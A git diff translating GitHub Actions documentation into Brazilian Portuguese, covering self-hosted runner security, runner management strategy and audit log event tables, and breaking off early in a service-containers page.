-{% ifversion fpt %}As a result, self-hosted runners should almost [never be used for public repositories](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories) on {% data variables.product.product_name %}, because any user can open pull requests against the repository and compromise the environment. Similarly, be{% elsif ghes or ghae %}Be{% endif %} cautious when using self-hosted runners on private or internal repositories, as anyone who can fork the repository and open a pull request (generally those with read-access to the repository) are able to compromise the self-hosted runner environment, including gaining access to secrets and the `GITHUB_TOKEN` which{% ifversion fpt or ghes > 3.1 or ghae or ghec %}, depending on its settings, can grant {% else %} grants {% endif %}write-access permissions on the repository. Although workflows can control access to environment secrets by using environments and required reviews, these workflows are not run in an isolated environment and are still susceptible to the same risks when run on a self-hosted runner.
+{% ifversion fpt %}Como resultado, os executores auto-hospedados quase [nunca devem ser usados para repositórios públicos](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories) em {% data variables.product.product_name %}, porque qualquer usuário pode abrir pull requests contra o repositório e comprometer o ambiente. Da mesma forma,{% elsif ghes or ghae %}Tenha{% endif %} cuidado ao usar executores auto-hospedados em repositórios privados ou internos, como qualquer pessoa que puder bifurcar o repositório e abrir um pull request (geralmente aqueles com acesso de leitura ao repositório) são capazes de comprometer o ambiente de runner auto-hospedado. incluindo obter acesso a segredos e o `GITHUB_TOKEN` que{% ifversion fpt or ghes > 3.1 or ghae or ghec %}, dependendo de suas configurações, pode conceder ao {% else %} concede ao repositório {% endif %}permissões de acesso de escrita. Embora os fluxos de trabalho possam controlar o acesso a segredos de ambiente usando os ambientes e revisões necessários, estes fluxos de trabalho não são executados em um ambiente isolado e continuam sendo susceptíveis aos mesmos riscos quando são executados por um executor auto-hospedado.
 
-When a self-hosted runner is defined at the organization or enterprise level, {% data variables.product.product_name %} can schedule workflows from multiple repositories onto the same runner. Consequently, a security compromise of these environments can result in a wide impact. To help reduce the scope of a compromise, you can create boundaries by organizing your self-hosted runners into separate groups. For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)."
+Quando um executor auto-hospedado é definido no nível da organização ou empresa, {% data variables.product.product_name %} pode programar fluxos de trabalho de vários repositórios para o mesmo executor. Consequentemente, um compromisso de segurança destes ambientes pode ter um grande impacto. Para ajudar a reduzir o escopo de um compromisso, você pode criar limites organizando seus executores auto-hospedados em grupos separados. Para obter mais informações, consulte "[Gerenciando acesso a runners auto-hospedados usando grupos](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)".
 
-You should also consider the environment of the self-hosted runner machines:
-- What sensitive information resides on the machine configured as a self-hosted runner? For example, private SSH keys, API access tokens, among others.
-- Does the machine have network access to sensitive services? For example, Azure or AWS metadata services. The amount of sensitive information in this environment should be kept to a minimum, and you should always be mindful that any user capable of invoking workflows has access to this environment.
+Você também deve considerar o ambiente das máquinas de executores auto-hospedadas:
+- Que informação sensível reside na máquina configurada como um executor auto-hospedado? Por exemplo, chaves SSH privadas, tokens de acesso à API, entre outros.
+- A máquina tem acesso à rede a serviços sensíveis? Por exemplo, serviços de metadados do Azure ou AWS. A quantidade de informações confidenciais neste ambiente deve ser limitada ao mínimo, e você deve estar sempre ciente de que qualquer usuário capaz de invocar fluxos de trabalho terá acesso a esse ambiente.
 
-Some customers might attempt to partially mitigate these risks by implementing systems that automatically destroy the self-hosted runner after each job execution. However, this approach might not be as effective as intended, as there is no way to guarantee that a self-hosted runner only runs one job. Some jobs will use secrets as command-line arguments which can be seen by another job running on the same runner, such as `ps x -w`. This can lead to secret leakages.
+Alguns clientes podem tentar mitigar parcialmente esses riscos implementando sistemas que destroem automaticamente o executor auto-hospedado após cada execução do trabalho. No entanto, esta abordagem poderá não ser tão eficaz como pretendido, uma vez que não há forma de garantir que um executor auto-hospedado execute apenas um trabalho. Algumas tarefas usarão segredos como argumentos de linha de comando que podem ser vistos por outra tarefa executando no mesmo executor como, por exemplo, `ps x -w`. Isso pode gerar vazamento de segredos.
 
-### Planning your management strategy for self-hosted runners
+### Planejando sua estratégia de gerenciamento para executores auto-hospedados
 
-A self-hosted runner can be added to various levels in your {% data variables.product.prodname_dotcom %} hierarchy: the enterprise, organization, or repository level. This placement determines who will be able to manage the runner:
+Um executor auto-hospedado pode ser adicionado aos vários níveis na sua hierarquia de {% data variables.product.prodname_dotcom %}: empresa, organização ou repositório. Este posicionamento determina quem será poderá de gerenciar o executor:
 
-**Centralised management:**
-  - If you plan to have a centralized team own the self-hosted runners, then the recommendation is to add your runners at the highest mutual organization or enterprise level. This gives your team a single location to view and manage your runners. 
-  - If you only have a single organization, then adding your runners at the organization level is effectively the same approach, but you might encounter difficulties if you add another organization in the future.
+**Gerenciamento centralizado:**
+  - Se você planeja ter uma equipe centralizada que detém os executores auto-hospedados, recomenda-se adicionar seus executores ao nível mais alto da organização mútua ou da empresa. Isto fornece à sua equipe um único local para visualizar e gerenciar seus executores.
+  - Se você tiver apenas uma única organização, adicionar seus executores ao nível da organização é, de fato, a mesma abordagem, mas você pode encontrar dificuldades se você adicionar outra organização no futuro.
 
-**De-centralised management:**
-  - If each team will manage their own self-hosted runners, then its recommended that you add the runners at the highest level of team ownership. For example, if each team owns their own organization, then it will be simplest if the runners are added at the organization level too. 
-  - You could also add runners at the repository level, but this will add management overhead and also increases the numbers of runners you need, since you cannot share runners between repositories.
+**Gestão descentralizada:**
+  - Se cada equipe irá gerenciar seus próprios executores hospedados, recomenda-se que você adicione os executores ao mais alto nível de propriedade da equipe. Por exemplo, se cada equipe possui sua própria organização, será mais simples se os executores também forem adicionados ao nível da organização.
+  - Você também pode adicionar executores no nível de repositório, mas isso adicionará uma sobrecarga de gerenciamento e também aumentará o número de executores necessários já que você não pode compartilhar executores entre repositórios.
 
 {% ifversion fpt or ghec or ghae-issue-4856 %}
-### Authenticating to your cloud provider
+### Efetuando a autenticação para seu provedor de nuvem
 
-If you are using {% data variables.product.prodname_actions %} to deploy to a cloud provider, or intend to use HashiCorp Vault for secret management, then its recommended that you consider using OpenID Connect to create short-lived, well-scoped access tokens for your workflow runs. For more information, see "[About security hardening with OpenID Connect](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect)."
+Se você está usando {% data variables.product.prodname_actions %} para implantar para um provedor da nuvem, ou pretender usar o HashiCorp Vault para o gerenciamento de segredos, recomenda-se que você use o OpenID Connect para criar tokens de acesso com escopos bem definidos, curtos e para as execuções do seu fluxo de trabalho. Para obter mais informações, consulte[Sobre o enrijecimento da segurança com o OpenID Connect](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect)".
 
 {% endif %}
 
-## Auditing {% data variables.product.prodname_actions %} events
+## Auditar eventos de {% data variables.product.prodname_actions %}
 
-You can use the audit log to monitor administrative tasks in an organization. The audit log records the type of action, when it was run, and which user account performed the action.
+Você pode usar o log de auditoria para monitorar tarefas administrativas em uma organização. O log de auditoria registra o tipo de ação, quando foi executado, e qual conta de usuário executou a ação.
 
-For example, you can use the audit log to track the `org.update_actions_secret` event, which tracks changes to organization secrets:
-  ![Audit log entries](/assets/images/help/repository/audit-log-entries.png)
+Por exemplo, você pode usar o log de auditoria para acompanhar o evento `org.update_actions_secret`, que controla as alterações nos segredos da organização: ![Entradas do log de auditoria](/assets/images/help/repository/audit-log-entries.png)
 
-The following tables describe the {% data variables.product.prodname_actions %} events that you can find in the audit log. For more information on using the audit log, see
-"[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#searching-the-audit-log)."
+As tabelas a seguir descrevem os eventos de {% data variables.product.prodname_actions %} que você pode encontrar no log de auditoria. Para obter mais informações sobre como usar o log de auditoria, consulte [Revisar o log de auditoria para a sua organização](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#searching-the-audit-log)".
 
 {% ifversion fpt or ghec %}
-### Events for environments
+### Eventos para ambientes
 
-| Action | Description
-|------------------|-------------------
-| `environment.create_actions_secret` | Triggered when a secret is created in an environment. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)."
-| `environment.delete` | Triggered when an environment is deleted. For more information, see ["Deleting an environment](/actions/reference/environments#deleting-an-environment)."
-| `environment.remove_actions_secret` |  Triggered when a secret is removed from an environment. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)."
-| `environment.update_actions_secret` | Triggered when a secret in an environment is updated. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)."
+| Ação                                | Descrição                                                                                                                                                                    |
+| ----------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `environment.create_actions_secret` | Acionada quando um segredo é criado em um ambiente. Para obter mais informações, consulte ["Segredos do ambiente](/actions/reference/environments#environment-secrets)".     |
+| `environment.delete`                | Acionada quando um ambiente é excluído. Para obter mais informações, consulte ["Excluir um ambiente](/actions/reference/environments#deleting-an-environment)".              |
+| `environment.remove_actions_secret` | Acionada quando um segredo é removido de um ambiente. Para obter mais informações, consulte ["Segredos do ambiente](/actions/reference/environments#environment-secrets)".   |
+| `environment.update_actions_secret` | Acionada quando um segredo em um ambiente é atualizado. Para obter mais informações, consulte ["Segredos do ambiente](/actions/reference/environments#environment-secrets)". |
 {% endif %}
 
 {% ifversion fpt or ghes or ghec %}
-### Events for configuration changes
-| Action | Description
-|------------------|-------------------
-| `repo.actions_enabled` | Triggered when {% data variables.product.prodname_actions %} is enabled for a repository. Can be viewed using the UI. This event is not visible when you access the audit log using the REST API. For more information, see "[Using the REST API](#using-the-rest-api)."
+### Eventos para alterações nas configurações
+| Ação                   | Descrição                                                                                                                                                                                                                                                                                                               |
+| ---------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `repo.actions_enabled` | Acionada quando {% data variables.product.prodname_actions %} está habilitado para um repositório. Pode ser visto usando a interface do usuário. Este evento não fica visível quando você acessar o log de auditoria usando a API REST. Para obter mais informações, consulte "[Usar a API REST](#using-the-rest-api)". |
 {% endif %}
 
-### Events for secret management
-| Action | Description
-|------------------|-------------------
-| `org.create_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is created for an organization. For more information, see "[Creating encrypted secrets for an organization](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-an-organization)."
-| `org.remove_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is removed.
-| `org.update_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is updated.
-| `repo.create_actions_secret ` | Triggered when a {% data variables.product.prodname_actions %} secret is created for a repository. For more information, see "[Creating encrypted secrets for a repository](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)."
-| `repo.remove_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is removed.
-| `repo.update_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is updated.
+### Eventos para gerenciamento de segredo
+| Ação                         | Descrição                                                                                                                                                                                                                                                                            |
+| ---------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `org.create_actions_secret`  | Acionada quando um segredo {% data variables.product.prodname_actions %} é criado na organização. Para obter mais informações, consulte "[Criar segredos criptografados para uma organização](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-an-organization)". |
+| `org.remove_actions_secret`  | Acionada quando um segredo {% data variables.product.prodname_actions %} é removido.                                                                                                                                                                                                 |
+| `org.update_actions_secret`  | Acionada quando um segredo {% data variables.product.prodname_actions %} é atualizado.                                                                                                                                                                                               |
+| `repo.create_actions_secret` | Acionada quando um segredo {% data variables.product.prodname_actions %} é criado em um repositório. Para obter mais informações, consulte "[Criar segredos criptografados para um repositório](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)".  |
+| `repo.remove_actions_secret` | Acionada quando um segredo {% data variables.product.prodname_actions %} é removido.                                                                                                                                                                                                 |
+| `repo.update_actions_secret` | Acionada quando um segredo {% data variables.product.prodname_actions %} é atualizado.                                                                                                                                                                                               |
 
-### Events for self-hosted runners
-| Action | Description
-|------------------|-------------------
-| `enterprise.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an enterprise](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise)."
-| `enterprise.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed.
-| `enterprise.runner_group_runners_updated` | Triggered when a runner group's member list is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."{% ifversion fpt or ghes > 3.1  or ghae or ghec %}
-| `enterprise.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
-| `enterprise.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %}
-| `enterprise.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI. This event is not included when you export the audit log as JSON data or a CSV file. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)" and "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#exporting-the-audit-log)."
-| `org.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an organization](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-organization)."
-| `org.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see [Removing a runner from an organization](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-organization).
-| `org.runner_group_runners_updated` | Triggered when a runner group's list of members is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."
-| `org.runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."{% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-| `org.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
-| `org.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %}
-| `org.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."
-| `repo.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to a repository](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)."
-| `repo.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see "[Removing a runner from a repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)."{% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-| `repo.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
-| `repo.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %}
-| `repo.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."
+### Eventos para executores auto-hospedados
+| Ação                                      | Descrição                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
+| ----------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `enterprise.register_self_hosted_runner`  | Acionada quando um novo executor auto-hospedado é registrado. Para obter mais informações, consulte "[Adicionar um executor auto-hospedado a uma empresa](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise)".                                                                                                                                                                                                                                                                                               |
+| `enterprise.remove_self_hosted_runner`    | Acionada quando um executor auto-hospedado é removido.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
+| `enterprise.runner_group_runners_updated` | Acionada quando a lista de membros do grupo do executor é atualizada. Para obter mais informações, consulte "[Definir executores auto-hospedados em um grupo para uma organização](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization).{% ifversion fpt or ghes > 3.1  or ghae or ghec %}
+| `enterprise.self_hosted_runner_online`    | Acionada quando o aplicativo do executor é iniciado. Só pode ser visto usando a API REST. Não é visível na interface do usuário ou na exportação do JSON/CSV. Para obter mais informações, consulte "[Verificar o status de um executor auto-hospedado](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)".                                                                                                                                                                          |
+| `enterprise.self_hosted_runner_offline`   | Acionada quando o aplicativo do executor é interrompido. Só pode ser visto usando a API REST. Não é visível na interface do usuário ou na exportação do JSON/CSV. Para obter mais informações, consulte "[Verificar o status de um executor auto-hospedado](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)".{% endif %}
+| `enterprise.self_hosted_runner_updated`   | Acionada quando o executor é atualizado. Pode ser visualizado usando a API REST e a interface do usuário. Este evento não está incluído quando você exportar o log de auditoria como dados JSON ou um arquivo CSV. Para obter mais informações, consulte "[Sobre executores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)" e "[Revisar o log de auditoria para a sua organização](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#exporting-the-audit-log)". |
+| `org.register_self_hosted_runner`         | Acionada quando um novo executor auto-hospedado é registrado. Para obter mais informações, consulte "[Adicionar um executor auto-hospedado a uma organização](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-organization)".                                                                                                                                                                                                                                                                                         |
+| `org.remove_self_hosted_runner`           | Acionada quando um executor auto-hospedado é removido. Para obter mais informações, consulte [Remover um executor de uma organização](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-organization).                                                                                                                                                                                                                                                                                                                        |
+| `org.runner_group_runners_updated`        | Acionada quando a lista de integrantes do grupo de executor é atualizada. Para obter mais informações, consulte "[Definir executores auto-hospedados em um grupo para uma organização](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)".                                                                                                                                                                                                                                                                                             |
+| `org.runner_group_updated`                | Acionada quando a configuração de um grupo de executor auto-hospedado é alterada. Para obter mais informações, consulte "[Alterar a política de acesso de um grupo de executor auto-hospedado](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)".{% ifversion fpt or ghes > 3.1 or ghae or ghec %}
+| `org.self_hosted_runner_online`           | Acionada quando o aplicativo do executor é iniciado. Só pode ser visto usando a API REST. Não é visível na interface do usuário ou na exportação do JSON/CSV. Para obter mais informações, consulte "[Verificar o status de um executor auto-hospedado](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)".                                                                                                                                                                          |
+| `org.self_hosted_runner_offline`          | Acionada quando o aplicativo do executor é interrompido. Só pode ser visto usando a API REST. Não é visível na interface do usuário ou na exportação do JSON/CSV. Para obter mais informações, consulte "[Verificar o status de um executor auto-hospedado](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)".{% endif %}
+| `org.self_hosted_runner_updated`          | Acionada quando o executor é atualizado. Pode ser visto usando a API REST e a interface do usuário; não visível na exportação de JSON/CSV. Para obter mais informações, consulte "[Sobre os executores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."                                                                                                                                                                                                                                                     |
+| `repo.register_self_hosted_runner`        | Acionada quando um novo executor auto-hospedado é registrado. Para obter mais informações, consulte "[Adicionar um executor auto-hospedado a um repositório](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository). ".                                                                                                                                                                                                                                                                                           |
+| `repo.remove_self_hosted_runner`          | Acionada quando um executor auto-hospedado é removido. Para obter mais informações, consulte "[Remover um executor de um repositório](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)."{% ifversion fpt or ghes > 3.1 or ghae or ghec %}
+| `repo.self_hosted_runner_online`          | Acionada quando o aplicativo do executor é iniciado. Só pode ser visto usando a API REST. Não é visível na interface do usuário ou na exportação do JSON/CSV. Para obter mais informações, consulte "[Verificar o status de um executor auto-hospedado](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)".                                                                                                                                                                          |
+| `repo.self_hosted_runner_offline`         | Acionada quando o aplicativo do executor é interrompido. Só pode ser visto usando a API REST. Não é visível na interface do usuário ou na exportação do JSON/CSV. Para obter mais informações, consulte "[Verificar o status de um executor auto-hospedado](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)".{% endif %}
+| `repo.self_hosted_runner_updated`         | Acionada quando o executor é atualizado. Pode ser visto usando a API REST e a interface do usuário; não visível na exportação de JSON/CSV. Para obter mais informações, consulte "[Sobre os executores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."                                                                                                                                                                                                                                                     |
 
-### Events for self-hosted runner groups
-| Action | Description
-|------------------|-------------------
-| `enterprise.runner_group_created` | Triggered when a self-hosted runner group is created. For more information, see "[Creating a self-hosted runner group for an enterprise](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-enterprise)."
-| `enterprise.runner_group_removed` | Triggered when a self-hosted runner group is removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)."
-| `enterprise.runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group.
-| `enterprise.runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see "[Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)."
-| `enterprise.runner_group_updated` |Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."
-| `org.runner_group_created` | Triggered when a self-hosted runner group is created. For more information, see "[Creating a self-hosted runner group for an organization](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-organization)."
-| `org.runner_group_removed` | Triggered when a self-hosted runner group is removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)."
-| `org.runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."
-| `org.runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see "[Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)."
-| `org.runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group. For more information, see "[Remove a self-hosted runner from a group for an organization](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)."
+### Eventos para grupos de executores auto-hospedados
+| Ação                                     | Descrição                                                                                                                                                                                                                                                                                                                                           |
+| ---------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `enterprise.runner_group_created`        | Acionada quando um grupo de executores auto-hospedado é criado. Para obter mais informações, consulte "[Criar um grupo de um executor auto-hospedado para uma empresa](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-enterprise)".                               |
+| `enterprise.runner_group_removed`        | Acionada quando um grupo de executores auto-hospedados é removido. Para obter mais informações, consulte "[Remover um grupo de executores auto-hospedados](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)".                                                             |
+| `enterprise.runner_group_runner_removed` | Acionada quando a API REST é usada para remover um executor auto-hospedado de um grupo.                                                                                                                                                                                                                                                             |
+| `enterprise.runner_group_runners_added`  | Acionada quando um executor auto-hospedado é adicionado a um grupo. Para obter mais informações, consulte "[Mover um executorauto-hospedado para um grupo](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)".                                                          |
+| `enterprise.runner_group_updated`        | Acionada quando a configuração de um grupo de executor auto-hospedado é alterada. Para obter mais informações, consulte "[Alterar a política de acesso de um grupo de executores auto-hospedados](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)". |
+| `org.runner_group_created`               | Acionada quando um grupo de executores auto-hospedado é criado. Para obter mais informações, consulte "[Criar um grupo de executores auto-hospedados para uma organização](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-organization)".                         |
+| `org.runner_group_removed`               | Acionada quando um grupo de executores auto-hospedados é removido. Para obter mais informações, consulte "[Remover um grupo de executores auto-hospedados](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)".                                                             |
+| `org.runner_group_updated`               | Acionada quando a configuração de um grupo de executor auto-hospedado é alterada. Para obter mais informações, consulte "[Alterar a política de acesso de um grupo de executores auto-hospedados](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)". |
+| `org.runner_group_runners_added`         | Acionada quando um executor auto-hospedado é adicionado a um grupo. Para obter mais informações, consulte "[Mover um executorauto-hospedado para um grupo](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)".                                                          |
+| `org.runner_group_runner_removed`        | Acionada quando a API REST é usada para remover um executor auto-hospedado de um grupo. Para obter mais informações, consulte "[Remover um executor auto-hospedado de um grupo para uma organização](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)".                                                        |
 
-### Events for workflow activities
+### Eventos para atividades no fluxo de trabalho
 
 {% data reusables.actions.actions-audit-events-workflow %}
diff --git a/translations/pt-BR/content/actions/using-containerized-services/about-service-containers.md b/translations/pt-BR/content/actions/using-containerized-services/about-service-containers.md
index 5487cf23f9..ebea9ba4c8 100644
--- a/translations/pt-BR/content/actions/using-containerized-services/about-service-containers.md
+++ b/translations/pt-BR/content/actions/using-containerized-services/about-service-containers.md
@@ -1,6 +1,6 @@
 ---
-title: About service containers
-intro: 'You can use service containers to connect databases, web services, memory caches, and other tools to your workflow.'
+title: Sobre os contêineres de serviço
+intro: 'Você pode usar contêineres de serviço para conectar bancos de dados, serviços web, memória cache e outras ferramentas ao seu fluxo de trabalho.'
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/about-service-containers
   - /actions/configuring-and-managing-workflows/about-service-containers
@@ -19,105 +19,105 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About service containers
+## Sobre os contêineres de serviço
 
-Service containers are Docker containers that provide a simple and portable way for you to host services that you might need to test or operate your application in a workflow. For example, your workflow might need to run integration tests that require access to a database and memory cache.
+Os contêineres de serviço são contêineres Docker que fornecem uma forma simples e portátil para os seus serviços de hospedagem que você pode precisar testar ou operar a sua aplicação em um fluxo de trabalho. Por exemplo, o seu fluxo de trabalho pode precisar executar testes de integração que necessitem de acesso a um banco de dados e a uma memória cache.
 
-You can configure service containers for each job in a workflow. {% data variables.product.prodname_dotcom %} creates a fresh Docker container for each service configured in the workflow, and destroys the service container when the job completes. Steps in a job can communicate with all service containers that are part of the same job.
